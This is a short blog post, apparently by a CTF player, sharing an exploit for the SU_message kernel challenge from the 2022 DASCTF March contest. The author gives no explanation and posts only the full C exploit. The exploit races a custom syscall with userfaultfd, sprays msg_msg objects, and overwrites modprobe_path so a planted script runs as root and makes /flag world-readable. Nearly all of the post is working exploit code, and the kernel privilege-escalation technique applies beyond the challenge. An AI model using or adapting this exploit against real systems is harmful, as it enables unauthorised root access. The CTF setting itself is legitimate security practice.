2022 DASCTF 三月赛 SU_message

一个傻逼内核题,远程传文件传了俩小时,到比赛结束都没成功传上去,现在心情很糟糕,所以也不想写思路了,就贴一下exp,证明我打通了。。。(虽然wp提交还没结束,但是零解题贴下exp没啥问题吧?)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <pthread.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/shm.h>
#include <sys/signal.h>
#include <asm/ldt.h>
#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>

#define PAGE_SIZE 0x1000

#define SU_message_set_flag 0x2001
#define SU_message_set_string 0x2002
#define SU_message_release 0x2003

#define SU_message_is_flag 0x3001
#define SU_message_is_string 0x3002

#define SU_message_open 1000
#define SU_message_config 1001

size_t modprobe_path_addr = 0xffffffff82c6c360 - 8;

struct SU_message_context
{
	char *message_name;
	unsigned int size;
	int type;
	char *message_content;
	unsigned int message_len;
};

void errExit(char *msg)
{
	puts(msg);
	exit(-1);
}

void gen_test()
{
    puts("[+] Prepare chmod file.");
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/copy.sh");
    system("chmod +x /tmp/copy.sh");
    puts("[+] Prepare trigger file.");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/winmt");
    system("chmod +x /tmp/winmt");
}

void get_flag()
{
	system("cat /proc/sys/kernel/modprobe");
	system("/tmp/winmt");
	system("cat /flag");
}

int ms_qid, res;
char *path = "aaaaaaaa/tmp/copy.sh\x00";

#define CHECK(expr)     \
    if((expr) ==-1)
    {    \
        do{             \
            perror(#expr);  \
            exit(EXIT_FAILURE); \
        } while (0);    \
    }                  

pthread_t thr;
static void registerUserfault(void *FAULT_PAGE, void *handler)
{
    struct uffdio_api ua;
    struct uffdio_register ur;

    uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC |O_NONBLOCK);
    CHECK(uffd);
    ua.api = UFFD_API;
    ua.features=0;
    CHECK(ioctl(uffd, UFFDIO_API, &ua));
    
    if (mmap((void *)FAULT_PAGE,PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1,0)!=(void *)FAULT_PAGE)
    {
        perror("register_userfault() mmap");
        exit(EXIT_FAILURE);
    }
    printf("[+] mmap(%#lx,%#lx)\n",FAULT_PAGE,PAGE_SIZE);
    ur.range.start =(uint64_t)FAULT_PAGE; 
    ur.range.len=PAGE_SIZE;
    ur.mode = UFFDIO_REGISTER_MODE_MISSING;
    CHECK(ioctl(uffd, UFFDIO_REGISTER, &ur));
    printf("[*] register_userfault() %#lx success\n",FAULT_PAGE);
    
    pthread_t s =  pthread_create(&thr, NULL,handler, (void*)uffd); 
    if (s!=0)
        printf("[-] handler pthread_create failed");
}


int id;
char *buf_uffd;
#define FAULT_PAGE buf_uffd

void* change_next_handler(void *arg)
{
    struct uffd_msg uf_msg;
    unsigned long uffd = (unsigned long)arg;
    struct uffdio_copy uf_copy;
    struct uffdio_range uf_range;
    puts("[+] handler created");
    puts("[+] restore stuck begin");
    struct pollfd pollfd;
    int nready;
    pollfd.fd     = FAULT_PAGE;
    pollfd.events = POLLIN;

    uf_range.start = buf_uffd;
    uf_range.len = PAGE_SIZE;
    
    while(poll(&pollfd, 1, -1) > 0)
    {
        if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
        {
            perror("polling error");
            exit(-1);
        }
        
        nready = read(uffd, &uf_msg, sizeof(uf_msg));
        if (nready <= 0) {
            puts("[-]uf_msg error!!");
        }
        
        if(uf_msg.event != UFFD_EVENT_PAGEFAULT)
        {
            perror("unexpected result from event");
            exit(-1);
        }
		
        char uf_buffer[0x1000];
        memset(uf_buffer, 0, sizeof(uf_buffer));
        memcpy(uf_buffer, path, 0x18);

        uf_copy.src = (unsigned long)uf_buffer;
        uf_copy.dst = FAULT_PAGE;
        uf_copy.len = 0x1000;
        uf_copy.mode = 0;
        uf_copy.copy = 0;
		
        res = syscall(SU_message_config, id, SU_message_set_flag, &modprobe_path_addr, NULL);
        if (res < 0) errExit("Error SU_message_config");

        if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1)
        {
            perror("uffdio_copy error");
            exit(-1);
        }
        
        if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1)
        {
            perror("error unregistering page for userfaultfd");
        }
        if (munmap((void *)FAULT_PAGE, 0x1000) == -1)
        {
            perror("error on munmapping race page");
        }
        puts("[+] handler done!!");
        return 0;
    }
}

int main()
{
	gen_test();
	
	cpu_set_t cpu_set;
	CPU_ZERO(&cpu_set);
	CPU_SET(0, &cpu_set);
	sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    
	for (int k = 0; k < 0x10; k++)
	{
		id = k;
		res = syscall(SU_message_open, "winmt", 0);
		if (res < 0) errExit("Error SU_message_open");

		// 17 + 16 + 2 = 35
		// 35 * 117 = 0xfff
		char *key = "AAAAAAAAAAAAAAAAA", *value = "AAAAAAAAAAAAAAAA";
		for(int i = 0; i < 117; i++)
		{
			res = syscall(SU_message_config, id, SU_message_set_string, key, value);
			if (res < 0) errExit("Error SU_message_config");
		}

		// 31 + 1 = 32
		char *key2 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
		res = syscall(SU_message_config, id, SU_message_set_flag, key2, NULL);
		if (res < 0) errExit("Error SU_message_config");

		char *buf = (char *)mmap(NULL, PAGE_SIZE*2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
		buf_uffd = buf + PAGE_SIZE;
		if (buf < 0) errExit("Error mmap");
		memset(buf, 'A', 0x1000);
		memcpy(buf_uffd, path, 0x18);

		if (k > 0) pthread_join(thr, NULL);
		registerUserfault(buf_uffd, change_next_handler);
		ms_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
		if (ms_qid < 0) errExit("Error msgget");
		res = msgsnd(ms_qid, buf + 0x30, 0x1018 - 0x30, 0);
		if (res < 0) errExit("Error msgsnd");
		get_flag();
		sleep(1);
	}
	get_flag();
	return 0;
}
posted @ 2022-03-26 18:26  winmt  阅读(639)  评论(2编辑  收藏  举报